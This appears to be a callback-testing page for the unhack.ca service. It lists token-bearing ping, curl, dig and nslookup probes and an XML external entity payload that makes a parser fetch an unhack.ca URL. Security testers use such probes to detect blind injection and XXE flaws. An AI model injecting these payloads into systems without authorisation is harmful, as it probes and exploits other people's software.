$ ping -c1 -p 003e326a364b764011aa17a1bb0f7c00 unhack.ca
 

$ curl http://unhack.ca/p/3e326a364b764011aa17a1bb0f7c
 

$ dig 3e326a364b764011aa17a1bb0f7c @unhack.ca
 

$ dig 3e326a364b764011aa17a1bb0f7c.ns.unhack.ca
 

C:\> nslookup 3e326a364b764011aa17a1bb0f7c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3e326a364b764011aa17a1bb0f7c">]>
    <foo>&xxe;</foo>